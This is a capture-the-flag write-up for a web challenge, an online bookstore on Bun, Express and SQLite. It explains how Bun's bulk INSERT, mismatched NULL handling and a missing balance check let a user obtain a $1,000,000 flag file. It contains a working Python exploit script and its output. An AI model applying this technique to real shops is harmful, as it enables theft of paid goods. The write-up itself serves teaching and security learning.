LA CTF 2026 - Bobles and Narnes

Flag: lactf{hojicha_chocolate_dubai_labubu}

Overview

Bobles and Narnes is a web challenge featuring an online bookstore built with Bun, Express, and SQLite. Users register with a starting balance of $1,000 and can purchase books. The flag is stored in a book priced at$1,000,000 — far exceeding our budget. The goal is to obtain the full flag.txt file without having enough balance.

Reconnaissance

The application is a standard e-commerce flow:

1. Register/Login — creates an account with $1,000 balance
2. Browse books — four books available, including “Flag” at $1,000,000
3. Add to cart — items can be added as “sample” (free) or “full” (costs money)
4. Checkout — delivers purchased files as a zip archive

Key source files

• server.js — all server logic
• books.json — book catalog (flag book ID: 2a16e349fb9045fa, price: 1,000,000)
• books/ — contains full and sample files; flag_sample.txt just contains lactf{

Vulnerability Analysis

The vulnerability is a type confusion bug caused by inconsistent object key handling in Bun’s SQL bulk INSERT helper, combined with three critical asymmetries in how is_sample is checked across different code paths.

The three checks on is_sample

1. Add endpoint — price calculation (JavaScript, on request data)

1
// server.js:138-141
2
const additionalSum = productsToAdd
3
    .filter((product) => !+product.is_sample)    // JS coercion on REQUEST data
4
    .map((product) => booksLookup.get(product.book_id).price ?? 99999999)
5
    .reduce((l, r) => l + r, 0);

Items where is_sample is truthy (e.g., 1) are excluded from the price sum — they’re free.

2. Add endpoint — existing cart sum (SQL query)

1
-- server.js:132-137
2
SELECT SUM(books.price) AS cartSum
3
FROM cart_items
4
JOIN books ON books.id = cart_items.book_id
5
WHERE cart_items.username = ? AND cart_items.is_sample = 0

Uses strict SQL equality is_sample = 0. Crucially, NULL = 0 evaluates to NULL (falsy) in SQL — so items with NULL is_sample are invisible to this check.

3. Checkout endpoint — file path selection (JavaScript, on database data)

1
// server.js:170
2
const path = item.is_sample ? book.file.replace(/\.([^.]+)$/, '_sample.$1') : book.file;

Uses plain JavaScript truthiness on the database value. null is falsy → serves the full file, not the sample.

4. Checkout has NO balance validation

1
// server.js:164
2
await db`UPDATE users SET balance=${balance - cartSum} WHERE username = ${res.locals.username}`;

Balance can go negative. There is no check that balance >= cartSum.

The trigger: Bun SQL db() bulk INSERT behavior

The insertion code spreads user-controlled properties into the cart entries:

1
// server.js:149-150
2
const cartEntries = productsToAdd.map((prod) => ({ ...prod, username: res.locals.username }));
3
await db`INSERT INTO cart_items ${db(cartEntries)}`;

Bun’s db() helper determines the INSERT column names from the first object’s keys. If the first object in the array is missing the is_sample property, the is_sample column is omitted from the INSERT statement entirely. SQLite then fills in the default value for all rows: NULL (since no DEFAULT is defined on the column).

This means the second object’s is_sample: 1 value is silently discarded — it never reaches the database.

Exploit

Strategy

Send a single /cart/add request with two products:

1. First product: a cheap book ($10) without the is_sample key — this controls the INSERT column list
2. Second product: the flag book with is_sample: 1 — bypasses the JavaScript price check (treated as a free sample)

Since db() derives columns from the first object (which lacks is_sample), both rows are inserted with is_sample = NULL.

On checkout:

• NULL is falsy in JavaScript → item.is_sample ? sample_path : full_path resolves to full_path
• flag.txt is served instead of flag_sample.txt
• Balance goes to -$999,010 — but checkout doesn’t care

Exploit script

1
#!/usr/bin/env python3
2
import requests
3
import random
4
import sys
5
import zipfile
6
import io
7

8
BASE_URL = sys.argv[1].rstrip("/")
9
s = requests.Session()
10

11
# 1. Register
12
username = f"exploit_{random.randint(0, 999999)}"
13
s.post(f"{BASE_URL}/register", data={"username": username, "password": "pw"})
14

15
# 2. Add to cart — first object missing is_sample controls INSERT columns
16
s.post(f"{BASE_URL}/cart/add", json={
17
    "products": [
18
        {"book_id": "a3e33c2505a19d18"},                    # $10 book, NO is_sample key
19
        {"book_id": "2a16e349fb9045fa", "is_sample": 1},    # flag, "sample" (free)
20
    ]
21
})
22

23
# 3. Checkout — NULL is_sample → full file served
24
r = s.post(f"{BASE_URL}/cart/checkout")
25

26
# 4. Extract flag from zip
27
z = zipfile.ZipFile(io.BytesIO(r.content))
28
print(z.read("flag.txt").decode())

Execution trace

1
$ python3 exploit.py https://bobles-and-narnes.chall.lac.tf
2

3
[*] Registering user: exploit_770676
4
    Status: 302
5
[*] Adding products with is_sample column trick...
6
    Response: {"remainingBalance":990}
7
[*] Checking cart...
8
    Cart: {"cart":[
9
      {"book_id":"a3e33c2505a19d18","is_sample":null},
10
      {"book_id":"2a16e349fb9045fa","is_sample":null}
11
    ],"balance":1000}
12
[*] Checking out...
13
    Status: 200, Content-Type: application/zip
14
[+] Files in zip: ['flag.txt', 'part-time-parliament.pdf']

Notice both items show is_sample: null in the cart — confirming the column was omitted from the INSERT.

Summary

The root cause is a combination of:

1. Bun SQL’s db() deriving INSERT columns from the first array element only — allowing an attacker to control which columns are written
2. Inconsistent is_sample checks — SQL = 0 vs JS !+val vs JS truthiness behave differently for NULL/null
3. No balance validation on checkout — allowing negative balances